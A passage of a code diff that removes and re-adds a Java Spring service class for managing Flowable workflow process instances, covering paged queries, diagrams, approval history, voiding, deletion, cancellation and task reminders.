-import org.flowable.task.api.history.HistoricTaskInstance; -import org.springframework.beans.BeanUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.awt.*; -import java.io.InputStream; -import java.nio.charset.StandardCharsets; -import java.util.List; -import java.util.*; - -/** - * 流程实例 服务层实现 - * - * @author may - */ -@Slf4j -@RequiredArgsConstructor -@Service -public class ActProcessInstanceServiceImpl implements IActProcessInstanceService { - - @Autowired(required = false) - private RepositoryService repositoryService; - @Autowired(required = false) - private RuntimeService runtimeService; - @Autowired(required = false) - private HistoryService historyService; - @Autowired(required = false) - private TaskService taskService; - @Autowired(required = false) - private ManagementService managementService; - private final IActHiProcinstService actHiProcinstService; - private final IWfTaskBackNodeService wfTaskBackNodeService; - private final IWfNodeConfigService wfNodeConfigService; - private final FlowProcessEventHandler flowProcessEventHandler; - private final UserService userService; - - @Value("${flowable.activity-font-name}") - private String activityFontName; - - @Value("${flowable.label-font-name}") - private String labelFontName; - - @Value("${flowable.annotation-font-name}") - private String annotationFontName; - - /** - * 分页查询正在运行的流程实例 - * - * @param bo 参数 - */ - @Override - public TableDataInfo getPageByRunning(ProcessInstanceBo bo, PageQuery pageQuery) { - List list = new ArrayList<>(); - ProcessInstanceQuery query = QueryUtils.instanceQuery(); - if (StringUtils.isNotBlank(bo.getName())) { - query.processInstanceNameLikeIgnoreCase("%" + bo.getName() + "%"); - } - if (StringUtils.isNotBlank(bo.getKey())) { - query.processDefinitionKey(bo.getKey()); - } - if (StringUtils.isNotBlank(bo.getStartUserId())) { - query.startedBy(bo.getStartUserId()); - } - if (StringUtils.isNotBlank(bo.getBusinessKey())) { - query.processInstanceBusinessKey(bo.getBusinessKey()); - } - if (StringUtils.isNotBlank(bo.getCategoryCode())) { - query.processDefinitionCategory(bo.getCategoryCode()); - } - query.orderByStartTime().desc(); - List processInstances = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); - for (ProcessInstance processInstance : processInstances) { - ProcessInstanceVo processInstanceVo = BeanUtil.toBean(processInstance, ProcessInstanceVo.class); - processInstanceVo.setIsSuspended(processInstance.isSuspended()); - processInstanceVo.setBusinessStatusName(BusinessStatusEnum.findByStatus(processInstance.getBusinessStatus())); - list.add(processInstanceVo); - } - if (CollUtil.isNotEmpty(list)) { - List processDefinitionIds = StreamUtils.toList(list, ProcessInstanceVo::getProcessDefinitionId); - List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); - for (ProcessInstanceVo processInstanceVo : list) { - if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(processInstanceVo.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(processInstanceVo::setWfNodeConfigVo); - } - } - } - long count = query.count(); - TableDataInfo build = TableDataInfo.build(); - build.setRows(list); - build.setTotal(count); - return build; - } - - /** - * 分页查询已结束的流程实例 - * - * @param bo 参数 - */ - @Override - public TableDataInfo getPageByFinish(ProcessInstanceBo bo, PageQuery pageQuery) { - List list = new ArrayList<>(); - HistoricProcessInstanceQuery query = QueryUtils.hisInstanceQuery() - .finished().orderByProcessInstanceEndTime().desc(); - if (StringUtils.isNotEmpty(bo.getName())) { - query.processInstanceNameLikeIgnoreCase("%" + bo.getName() + "%"); - } - if (StringUtils.isNotBlank(bo.getKey())) { - query.processDefinitionKey(bo.getKey()); - } - if (StringUtils.isNotEmpty(bo.getStartUserId())) { - query.startedBy(bo.getStartUserId()); - } - if (StringUtils.isNotBlank(bo.getBusinessKey())) { - query.processInstanceBusinessKey(bo.getBusinessKey()); - } - if (StringUtils.isNotBlank(bo.getCategoryCode())) { - query.processDefinitionCategory(bo.getCategoryCode()); - } - List historicProcessInstances = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); - for (HistoricProcessInstance historicProcessInstance : historicProcessInstances) { - ProcessInstanceVo processInstanceVo = BeanUtil.toBean(historicProcessInstance, ProcessInstanceVo.class); - processInstanceVo.setBusinessStatusName(BusinessStatusEnum.findByStatus(historicProcessInstance.getBusinessStatus())); - list.add(processInstanceVo); - } - if (CollUtil.isNotEmpty(list)) { - List processDefinitionIds = StreamUtils.toList(list, ProcessInstanceVo::getProcessDefinitionId); - List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); - for (ProcessInstanceVo processInstanceVo : list) { - if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(processInstanceVo.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(processInstanceVo::setWfNodeConfigVo); - } - } - } - long count = query.count(); - TableDataInfo build = TableDataInfo.build(); - build.setRows(list); - build.setTotal(count); - return build; - } - - /** - * 通过业务id获取历史流程图 - * - * @param businessKey 业务id - */ - @SneakyThrows - @Override - public String getHistoryImage(String businessKey) { - String processDefinitionId; - // 获取当前的流程实例 - ProcessInstance processInstance = QueryUtils.businessKeyQuery(businessKey).singleResult(); - // 如果流程已经结束,则得到结束节点 - if (Objects.isNull(processInstance)) { - HistoricProcessInstance pi = QueryUtils.hisInstanceQuery().processInstanceBusinessKey(businessKey).singleResult(); - processDefinitionId = pi.getProcessDefinitionId(); - } else { - // 根据流程实例ID获得当前处于活动状态的ActivityId合集 - ProcessInstance pi = QueryUtils.instanceQuery(processInstance.getProcessInstanceId()).singleResult(); - processDefinitionId = pi.getProcessDefinitionId(); - } - - // 获得活动的节点 - List highLightedFlowList = QueryUtils.hisActivityInstanceQuery(processInstance.getProcessInstanceId()).orderByHistoricActivityInstanceStartTime().asc().list(); - - List highLightedFlows = new ArrayList<>(); - List highLightedNodes = new ArrayList<>(); - //高亮 - for (HistoricActivityInstance tempActivity : highLightedFlowList) { - if (FlowConstant.SEQUENCE_FLOW.equals(tempActivity.getActivityType())) { - //高亮线 - highLightedFlows.add(tempActivity.getActivityId()); - } else { - //高亮节点 - if (tempActivity.getEndTime() == null) { - highLightedNodes.add(Color.RED.toString() + tempActivity.getActivityId()); - } else { - highLightedNodes.add(tempActivity.getActivityId()); - } - } - } - List highLightedNodeList = new ArrayList<>(); - //运行中的节点 - List redNodeCollect = StreamUtils.filter(highLightedNodes, e -> e.contains(Color.RED.toString())); - //排除与运行中相同的节点 - for (String nodeId : highLightedNodes) { - if (!nodeId.contains(Color.RED.toString()) && !redNodeCollect.contains(Color.RED + nodeId)) { - highLightedNodeList.add(nodeId); - } - } - highLightedNodeList.addAll(redNodeCollect); - BpmnModel bpmnModel = repositoryService.getBpmnModel(processDefinitionId); - CustomDefaultProcessDiagramGenerator diagramGenerator = new CustomDefaultProcessDiagramGenerator(); - InputStream inputStream = diagramGenerator.generateDiagram(bpmnModel, "png", highLightedNodeList, highLightedFlows, activityFontName, labelFontName, annotationFontName, null, 1.0, true); - return Base64.encode(IoUtil.readBytes(inputStream)); - } - - /** - * 通过业务id获取历史流程图运行中,历史等节点 - * - * @param businessKey 业务id - */ - @Override - public Map getHistoryList(String businessKey) { - Map map = new HashMap<>(); - List> taskList = new ArrayList<>(); - HistoricProcessInstance historicProcessInstance = QueryUtils.hisBusinessKeyQuery(businessKey).singleResult(); - String processInstanceId = historicProcessInstance.getId(); - StringBuilder xml = new StringBuilder(); - ProcessDefinition processDefinition = repositoryService.getProcessDefinition(historicProcessInstance.getProcessDefinitionId()); - // 获取节点 - List highLightedFlowList = QueryUtils.hisActivityInstanceQuery(processInstanceId).orderByHistoricActivityInstanceStartTime().asc().list(); - for (HistoricActivityInstance tempActivity : highLightedFlowList) { - Map task = new HashMap<>(); - switch (tempActivity.getActivityType()) { - case FlowConstant.SEQUENCE_FLOW, FlowConstant.PARALLEL_GATEWAY, - FlowConstant.EXCLUSIVE_GATEWAY, FlowConstant.INCLUSIVE_GATEWAY -> {} - default -> { - task.put("key", tempActivity.getActivityId()); - task.put("completed", tempActivity.getEndTime() != null); - task.put("activityType", tempActivity.getActivityType()); - taskList.add(task); - } - } - } - ProcessInstance processInstance = QueryUtils.instanceQuery(processInstanceId).singleResult(); - if (processInstance != null) { - taskList = StreamUtils.filter(taskList, e -> !e.get("activityType").equals(FlowConstant.END_EVENT)); - } - //查询出运行中节点 - List> runtimeNodeList = StreamUtils.filter(taskList, e -> !(Boolean) e.get("completed")); - if (CollUtil.isNotEmpty(runtimeNodeList)) { - Iterator> iterator = taskList.iterator(); - while (iterator.hasNext()) { - Map next = iterator.next(); - runtimeNodeList.stream().filter(t -> t.get("key").equals(next.get("key")) && (Boolean) next.get("completed")).findFirst().ifPresent(t -> iterator.remove()); - } - } - map.put("taskList", taskList); - List historyTaskList = getHistoryTaskList(processInstanceId, processDefinition.getVersion()); - map.put("historyList", historyTaskList); - InputStream inputStream = repositoryService.getResourceAsStream(processDefinition.getDeploymentId(), processDefinition.getResourceName()); - xml.append(IoUtil.read(inputStream, StandardCharsets.UTF_8)); - map.put("xml", xml.toString()); - return map; - } - - /** - * 获取历史任务节点信息 - * - * @param processInstanceId 流程实例id - * @param version 版本 - */ - private List getHistoryTaskList(String processInstanceId, Integer version) { - //查询任务办理记录 - List list = QueryUtils.hisTaskInstanceQuery(processInstanceId).orderByHistoricTaskInstanceEndTime().desc().list(); - list = StreamUtils.sorted(list, Comparator.comparing(HistoricTaskInstance::getEndTime, Comparator.nullsFirst(Date::compareTo)).reversed()); - List actHistoryInfoVoList = new ArrayList<>(); - for (HistoricTaskInstance historicTaskInstance : list) { - ActHistoryInfoVo actHistoryInfoVo = new ActHistoryInfoVo(); - BeanUtils.copyProperties(historicTaskInstance, actHistoryInfoVo); - actHistoryInfoVo.setStatus(actHistoryInfoVo.getEndTime() == null ? "待处理" : "已处理"); - if (ObjectUtil.isNotEmpty(historicTaskInstance.getDurationInMillis())) { - actHistoryInfoVo.setRunDuration(getDuration(historicTaskInstance.getDurationInMillis())); - } - actHistoryInfoVo.setVersion(version); - actHistoryInfoVoList.add(actHistoryInfoVo); - } - List historyInfoVoList = new ArrayList<>(); - Map> groupByKey = StreamUtils.groupByKey(actHistoryInfoVoList, ActHistoryInfoVo::getTaskDefinitionKey); - for (Map.Entry> entry : groupByKey.entrySet()) { - ActHistoryInfoVo historyInfoVo = new ActHistoryInfoVo(); - if (entry.getValue().size() > 1) { - List historyInfoVos = StreamUtils.filter(entry.getValue(), e -> StringUtils.isNotBlank(e.getAssignee())); - if (CollUtil.isNotEmpty(historyInfoVos)) { - ActHistoryInfoVo infoVo = historyInfoVos.get(0); - BeanUtils.copyProperties(infoVo, historyInfoVo); - historyInfoVo.setStatus(infoVo.getEndTime() == null ? "待处理" : "已处理"); - historyInfoVo.setStartTime(infoVo.getStartTime()); - historyInfoVo.setEndTime(infoVo.getEndTime() == null ? null : infoVo.getEndTime()); - historyInfoVo.setRunDuration(infoVo.getEndTime() == null ? null : infoVo.getRunDuration()); - if (ObjectUtil.isEmpty(infoVo.getAssignee())) { - ParticipantVo participantVo = WorkflowUtils.getCurrentTaskParticipant(infoVo.getId(), userService); - if (ObjectUtil.isNotEmpty(participantVo) && CollUtil.isNotEmpty(participantVo.getCandidate())) { - historyInfoVo.setAssignee(StreamUtils.join(participantVo.getCandidate(), Convert::toStr)); - } - } - } - } else { - actHistoryInfoVoList.stream().filter(e -> e.getTaskDefinitionKey().equals(entry.getKey())).findFirst() - .ifPresent(e -> { - BeanUtils.copyProperties(e, historyInfoVo); - historyInfoVo.setStatus(e.getEndTime() == null ? "待处理" : "已处理"); - historyInfoVo.setStartTime(e.getStartTime()); - historyInfoVo.setEndTime(e.getEndTime() == null ? null : e.getEndTime()); - historyInfoVo.setRunDuration(e.getEndTime() == null ? null : e.getRunDuration()); - if (ObjectUtil.isEmpty(e.getAssignee())) { - ParticipantVo participantVo = WorkflowUtils.getCurrentTaskParticipant(e.getId(), userService); - if (ObjectUtil.isNotEmpty(participantVo) && CollUtil.isNotEmpty(participantVo.getCandidate())) { - historyInfoVo.setAssignee(StreamUtils.join(participantVo.getCandidate(), Convert::toStr)); - } - } - }); - - } - historyInfoVoList.add(historyInfoVo); - - } - return historyInfoVoList; - } - - /** - * 获取审批记录 - * - * @param businessKey 业务id - */ - @Override - public List getHistoryRecord(String businessKey) { - // 查询任务办理记录 - List list = QueryUtils.hisTaskBusinessKeyQuery(businessKey).orderByHistoricTaskInstanceEndTime().desc().list(); - list = StreamUtils.sorted(list, Comparator.comparing(HistoricTaskInstance::getEndTime, Comparator.nullsFirst(Date::compareTo)).reversed()); - HistoricProcessInstance historicProcessInstance = QueryUtils.hisBusinessKeyQuery(businessKey).singleResult(); - String processInstanceId = historicProcessInstance.getId(); - List actHistoryInfoVoList = new ArrayList<>(); - List processInstanceComments = taskService.getProcessInstanceComments(processInstanceId); - //附件 - List attachmentList = taskService.getProcessInstanceAttachments(processInstanceId); - for (HistoricTaskInstance historicTaskInstance : list) { - ActHistoryInfoVo actHistoryInfoVo = new ActHistoryInfoVo(); - BeanUtils.copyProperties(historicTaskInstance, actHistoryInfoVo); - if (actHistoryInfoVo.getEndTime() == null) { - actHistoryInfoVo.setStatus(TaskStatusEnum.WAITING.getStatus()); - actHistoryInfoVo.setStatusName(TaskStatusEnum.WAITING.getDesc()); - } - if (CollUtil.isNotEmpty(processInstanceComments)) { - processInstanceComments.stream().filter(e -> e.getTaskId().equals(historicTaskInstance.getId())).findFirst().ifPresent(e -> { - actHistoryInfoVo.setComment(e.getFullMessage()); - actHistoryInfoVo.setStatus(e.getType()); - actHistoryInfoVo.setStatusName(TaskStatusEnum.findByStatus(e.getType())); - }); - } - if (ObjectUtil.isNotEmpty(historicTaskInstance.getDurationInMillis())) { - actHistoryInfoVo.setRunDuration(getDuration(historicTaskInstance.getDurationInMillis())); - } - //附件 - if (CollUtil.isNotEmpty(attachmentList)) { - List attachments = StreamUtils.filter(attachmentList, e -> e.getTaskId().equals(historicTaskInstance.getId())); - if (CollUtil.isNotEmpty(attachments)) { - actHistoryInfoVo.setAttachmentList(attachments); - } - } - //设置人员id - if (ObjectUtil.isEmpty(historicTaskInstance.getAssignee())) { - ParticipantVo participantVo = WorkflowUtils.getCurrentTaskParticipant(historicTaskInstance.getId(), userService); - if (ObjectUtil.isNotEmpty(participantVo) && CollUtil.isNotEmpty(participantVo.getCandidate())) { - actHistoryInfoVo.setAssignee(StreamUtils.join(participantVo.getCandidate(), Convert::toStr)); - } - } - actHistoryInfoVoList.add(actHistoryInfoVo); - } - // 审批记录 - Map> groupByKey = StreamUtils.groupByKey(actHistoryInfoVoList, ActHistoryInfoVo::getTaskDefinitionKey); - for (Map.Entry> entry : groupByKey.entrySet()) { - ActHistoryInfoVo actHistoryInfoVo = BeanUtil.toBean(entry.getValue().get(0), ActHistoryInfoVo.class); - actHistoryInfoVoList.stream().filter(e -> e.getTaskDefinitionKey().equals(entry.getKey()) && e.getEndTime() != null).findFirst() - .ifPresent(e -> { - actHistoryInfoVo.setStatus("已处理"); - actHistoryInfoVo.setStartTime(e.getStartTime()); - }); - actHistoryInfoVoList.stream().filter(e -> e.getTaskDefinitionKey().equals(entry.getKey()) && e.getEndTime() == null).findFirst() - .ifPresent(e -> { - actHistoryInfoVo.setStatus("待处理"); - actHistoryInfoVo.setStartTime(e.getStartTime()); - actHistoryInfoVo.setEndTime(null); - actHistoryInfoVo.setRunDuration(null); - }); - } - List recordList = new ArrayList<>(); - // 待办理 - recordList.addAll(StreamUtils.filter(actHistoryInfoVoList, e -> e.getEndTime() == null)); - // 已办理 - recordList.addAll(StreamUtils.filter(actHistoryInfoVoList, e -> e.getEndTime() != null)); - - return recordList; - } - - /** - * 任务完成时间处理 - * - * @param time 时间 - */ - private String getDuration(long time) { - - long day = time / (24 * 60 * 60 * 1000); - long hour = (time / (60 * 60 * 1000) - day * 24); - long minute = ((time / (60 * 1000)) - day * 24 * 60 - hour * 60); - long second = (time / 1000 - day * 24 * 60 * 60 - hour * 60 * 60 - minute * 60); - - if (day > 0) { - return day + "天" + hour + "小时" + minute + "分钟"; - } - if (hour > 0) { - return hour + "小时" + minute + "分钟"; - } - if (minute > 0) { - return minute + "分钟"; - } - if (second > 0) { - return second + "秒"; - } else { - return 0 + "秒"; - } - } - - /** - * 作废流程实例,不会删除历史记录(删除运行中的实例) - * - * @param processInvalidBo 参数 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean deleteRunInstance(ProcessInvalidBo processInvalidBo) { - try { - List list = QueryUtils.taskQuery().processInstanceBusinessKey(processInvalidBo.getBusinessKey()).list(); - String processInstanceId = list.get(0).getProcessInstanceId(); - List subTasks = StreamUtils.filter(list, e -> StringUtils.isNotBlank(e.getParentTaskId())); - if (CollUtil.isNotEmpty(subTasks)) { - subTasks.forEach(e -> taskService.deleteTask(e.getId())); - } - String deleteReason = LoginHelper.getLoginUser().getNickname() + "作废了当前申请!"; - if (StringUtils.isNotBlank(processInvalidBo.getDeleteReason())) { - deleteReason = LoginHelper.getLoginUser().getNickname() + "作废理由:" + processInvalidBo.getDeleteReason(); - } - for (Task task : StreamUtils.filter(list, e -> StringUtils.isBlank(e.getParentTaskId()))) { - taskService.addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.INVALID.getStatus(), deleteReason); - } - HistoricProcessInstance historicProcessInstance = QueryUtils.hisInstanceQuery(processInstanceId).singleResult(); - BusinessStatusEnum.checkInvalidStatus(historicProcessInstance.getBusinessStatus()); - runtimeService.updateBusinessStatus(processInstanceId, BusinessStatusEnum.INVALID.getStatus()); - runtimeService.deleteProcessInstance(processInstanceId, deleteReason); - //流程作废监听 - flowProcessEventHandler.processHandler(historicProcessInstance.getProcessDefinitionKey(), - historicProcessInstance.getBusinessKey(), BusinessStatusEnum.INVALID.getStatus(), false); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 - * - * @param businessKeys 业务id - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean deleteRunAndHisInstance(List businessKeys) { - try { - // 1.删除运行中流程实例 - List actHiProcinsts = actHiProcinstService.selectByBusinessKeyIn(businessKeys); - if (CollUtil.isEmpty(actHiProcinsts)) { - log.warn("当前业务ID:{}查询到流程实例为空!", businessKeys); - return false; - } - List processInstanceIds = StreamUtils.toList(actHiProcinsts, ActHiProcinst::getId); - List list = QueryUtils.taskQuery(processInstanceIds).list(); - List subTasks = StreamUtils.filter(list, e -> StringUtils.isNotBlank(e.getParentTaskId())); - if (CollUtil.isNotEmpty(subTasks)) { - subTasks.forEach(e -> taskService.deleteTask(e.getId())); - } - runtimeService.bulkDeleteProcessInstances(processInstanceIds, LoginHelper.getUserId() + "删除了当前流程申请"); - // 2.删除历史记录 - List historicProcessInstanceList = QueryUtils.hisInstanceQuery(new HashSet<>(processInstanceIds)).list(); - if (ObjectUtil.isNotEmpty(historicProcessInstanceList)) { - historyService.bulkDeleteHistoricProcessInstances(processInstanceIds); - } - wfTaskBackNodeService.deleteByInstanceIds(processInstanceIds); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 已完成的实例 删除程实例,删除历史记录,删除业务与流程关联信息 - * - * @param businessKeys 业务id - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean deleteFinishAndHisInstance(List businessKeys) { - try { - List actHiProcinsts = actHiProcinstService.selectByBusinessKeyIn(businessKeys); - if (CollUtil.isEmpty(actHiProcinsts)) { - log.warn("当前业务ID:{}查询到流程实例为空!", businessKeys); - return false; - } - List processInstanceIds = StreamUtils.toList(actHiProcinsts, ActHiProcinst::getId); - historyService.bulkDeleteHistoricProcessInstances(processInstanceIds); - wfTaskBackNodeService.deleteByInstanceIds(processInstanceIds); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 撤销流程申请 - * - * @param businessKey 业务id - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean cancelProcessApply(String businessKey) { - try { - ProcessInstance processInstance = QueryUtils.businessKeyQuery(businessKey) - .startedBy(String.valueOf(LoginHelper.getUserId())).singleResult(); - if (ObjectUtil.isNull(processInstance)) { - throw new ServiceException("您不是流程发起人,撤销失败!"); - } - if (processInstance.isSuspended()) { - throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); - } - String processInstanceId = processInstance.getId(); - BusinessStatusEnum.checkCancelStatus(processInstance.getBusinessStatus()); - List taskList = QueryUtils.taskQuery(processInstanceId).list(); - for (Task task : taskList) { - taskService.setAssignee(task.getId(), null); - taskService.addComment(task.getId(), processInstanceId, TaskStatusEnum.CANCEL.getStatus(), LoginHelper.getLoginUser().getNickname() + ":撤销申请"); - } - HistoricTaskInstance historicTaskInstance = QueryUtils.hisTaskInstanceQuery(processInstanceId).finished().orderByHistoricTaskInstanceEndTime().asc().list().get(0); - List nodeIds = StreamUtils.toList(taskList, Task::getTaskDefinitionKey); - runtimeService.createChangeActivityStateBuilder() - .processInstanceId(processInstanceId) - .moveActivityIdsToSingleActivityId(nodeIds, historicTaskInstance.getTaskDefinitionKey()).changeState(); - Task task = QueryUtils.taskQuery(processInstanceId).list().get(0); - taskService.setAssignee(task.getId(), historicTaskInstance.getAssignee()); - //获取并行网关执行后保留的执行实例数据 - ExecutionChildByExecutionIdCmd childByExecutionIdCmd = new ExecutionChildByExecutionIdCmd(task.getExecutionId()); - List executionEntities = managementService.executeCommand(childByExecutionIdCmd); - //删除流程实例垃圾数据 - for (ExecutionEntity executionEntity : executionEntities) { - DeleteExecutionCmd deleteExecutionCmd = new DeleteExecutionCmd(executionEntity.getId()); - managementService.executeCommand(deleteExecutionCmd); - } - runtimeService.updateBusinessStatus(processInstanceId, BusinessStatusEnum.CANCEL.getStatus()); - //流程作废监听 - flowProcessEventHandler.processHandler(processInstance.getProcessDefinitionKey(), - processInstance.getBusinessKey(), BusinessStatusEnum.CANCEL.getStatus(), false); - return true; - } catch (Exception e) { - log.error("撤销失败:" + e.getMessage(), e); - throw new ServiceException("撤销失败:" + e.getMessage()); - } - } - - /** - * 分页查询当前登录人单据 - * - * @param bo 参数 - */ - @Override - public TableDataInfo getPageByCurrent(ProcessInstanceBo bo, PageQuery pageQuery) { - List list = new ArrayList<>(); - HistoricProcessInstanceQuery query = QueryUtils.hisInstanceQuery(); - query.startedBy(String.valueOf(LoginHelper.getUserId())); - if (StringUtils.isNotBlank(bo.getName())) { - query.processInstanceNameLikeIgnoreCase("%" + bo.getName() + "%"); - } - if (StringUtils.isNotBlank(bo.getKey())) { - query.processDefinitionKey(bo.getKey()); - } - if (StringUtils.isNotBlank(bo.getBusinessKey())) { - query.processInstanceBusinessKey(bo.getBusinessKey()); - } - if (StringUtils.isNotBlank(bo.getCategoryCode())) { - query.processDefinitionCategory(bo.getCategoryCode()); - } - query.orderByProcessInstanceStartTime().desc(); - List historicProcessInstanceList = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); - List taskVoList = new ArrayList<>(); - if (CollUtil.isNotEmpty(historicProcessInstanceList)) { - List processInstanceIds = StreamUtils.toList(historicProcessInstanceList, HistoricProcessInstance::getId); - List taskList = QueryUtils.taskQuery(processInstanceIds).list(); - for (Task task : taskList) { - taskVoList.add(BeanUtil.toBean(task, TaskVo.class)); - } - } - for (HistoricProcessInstance processInstance : historicProcessInstanceList) { - ProcessInstanceVo processInstanceVo = BeanUtil.toBean(processInstance, ProcessInstanceVo.class); - processInstanceVo.setBusinessStatusName(BusinessStatusEnum.findByStatus(processInstance.getBusinessStatus())); - if (CollUtil.isNotEmpty(taskVoList)) { - List collect = StreamUtils.filter(taskVoList, e -> e.getProcessInstanceId().equals(processInstance.getId())); - processInstanceVo.setTaskVoList(CollUtil.isNotEmpty(collect) ? collect : Collections.emptyList()); - } - list.add(processInstanceVo); - } - if (CollUtil.isNotEmpty(list)) { - List processDefinitionIds = StreamUtils.toList(list, ProcessInstanceVo::getProcessDefinitionId); - List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); - for (ProcessInstanceVo processInstanceVo : list) { - if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { - wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(processInstanceVo.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(processInstanceVo::setWfNodeConfigVo); - } - } - } - long count = query.count(); - TableDataInfo build = TableDataInfo.build(); - build.setRows(list); - build.setTotal(count); - return build; - } - - /** - * 任务催办(给当前任务办理人发送站内信,邮件,短信等) - * - * @param taskUrgingBo 任务催办 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean taskUrging(TaskUrgingBo taskUrgingBo) { - try { - ProcessInstance processInstance = QueryUtils.instanceQuery(taskUrgingBo.getProcessInstanceId()).singleResult(); - if (processInstance == null) { - throw new ServiceException("任务已结束!"); - } - String message = taskUrgingBo.getMessage(); - if (StringUtils.isBlank(message)) { - message = "您的【" + processInstance.getName() + "】单据还未审批,请您及时处理。"; - } - List list = QueryUtils.taskQuery(taskUrgingBo.getProcessInstanceId()).list(); - WorkflowUtils.sendMessage(list, processInstance.getName(), taskUrgingBo.getMessageType(), message, userService); - } catch (ServiceException e) { - throw new ServiceException(e.getMessage()); - } - return true; - } -} +package org.dromara.workflow.service.impl; + +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.codec.Base64; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.io.IoUtil; +import cn.hutool.core.util.ObjectUtil; +import lombok.RequiredArgsConstructor; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.enums.BusinessStatusEnum; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.service.UserService; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.workflow.common.constant.FlowConstant; +import org.dromara.workflow.common.enums.TaskStatusEnum; +import org.dromara.workflow.domain.ActHiProcinst; +import org.dromara.workflow.domain.bo.ProcessInstanceBo; +import org.dromara.workflow.domain.bo.ProcessInvalidBo; +import org.dromara.workflow.domain.bo.TaskUrgingBo; +import org.dromara.workflow.domain.vo.*; +import org.dromara.workflow.flowable.CustomDefaultProcessDiagramGenerator; +import org.dromara.workflow.flowable.cmd.DeleteExecutionCmd; +import org.dromara.workflow.flowable.cmd.ExecutionChildByExecutionIdCmd; +import org.dromara.workflow.flowable.handler.FlowProcessEventHandler; +import org.dromara.workflow.service.IActHiProcinstService; +import org.dromara.workflow.service.IActProcessInstanceService; +import org.dromara.workflow.service.IWfNodeConfigService; +import org.dromara.workflow.service.IWfTaskBackNodeService; +import org.dromara.workflow.utils.QueryUtils; +import org.dromara.workflow.utils.WorkflowUtils; +import org.flowable.bpmn.model.BpmnModel; +import org.flowable.engine.*; +import org.flowable.engine.history.HistoricActivityInstance; +import org.flowable.engine.history.HistoricProcessInstance; +import org.flowable.engine.history.HistoricProcessInstanceQuery; +import org.flowable.engine.impl.persistence.entity.ExecutionEntity; +import org.flowable.engine.repository.ProcessDefinition; +import org.flowable.engine.runtime.ProcessInstance; +import org.flowable.engine.runtime.ProcessInstanceQuery; +import org.flowable.engine.task.Attachment; +import org.flowable.engine.task.Comment; +import org.flowable.task.api.Task; +import org.flowable.task.api.history.HistoricTaskInstance; +import org.springframework.beans.BeanUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.awt.*; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.List; +import java.util.*; + +/** + * 流程实例 服务层实现 + * + * @author may + */ +@Slf4j +@RequiredArgsConstructor +@Service +public class ActProcessInstanceServiceImpl implements IActProcessInstanceService { + + @Autowired(required = false) + private RepositoryService repositoryService; + @Autowired(required = false) + private RuntimeService runtimeService; + @Autowired(required = false) + private HistoryService historyService; + @Autowired(required = false) + private TaskService taskService; + @Autowired(required = false) + private ManagementService managementService; + private final IActHiProcinstService actHiProcinstService; + private final IWfTaskBackNodeService wfTaskBackNodeService; + private final IWfNodeConfigService wfNodeConfigService; + private final FlowProcessEventHandler flowProcessEventHandler; + private final UserService userService; + + @Value("${flowable.activity-font-name}") + private String activityFontName; + + @Value("${flowable.label-font-name}") + private String labelFontName; + + @Value("${flowable.annotation-font-name}") + private String annotationFontName; + + /** + * 分页查询正在运行的流程实例 + * + * @param bo 参数 + */ + @Override + public TableDataInfo getPageByRunning(ProcessInstanceBo bo, PageQuery pageQuery) { + List list = new ArrayList<>(); + ProcessInstanceQuery query = QueryUtils.instanceQuery(); + if (StringUtils.isNotBlank(bo.getName())) { + query.processInstanceNameLikeIgnoreCase("%" + bo.getName() + "%"); + } + if (StringUtils.isNotBlank(bo.getKey())) { + query.processDefinitionKey(bo.getKey()); + } + if (StringUtils.isNotBlank(bo.getStartUserId())) { + query.startedBy(bo.getStartUserId()); + } + if (StringUtils.isNotBlank(bo.getBusinessKey())) { + query.processInstanceBusinessKey(bo.getBusinessKey()); + } + if (StringUtils.isNotBlank(bo.getCategoryCode())) { + query.processDefinitionCategory(bo.getCategoryCode()); + } + query.orderByStartTime().desc(); + List processInstances = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); + for (ProcessInstance processInstance : processInstances) { + ProcessInstanceVo processInstanceVo = 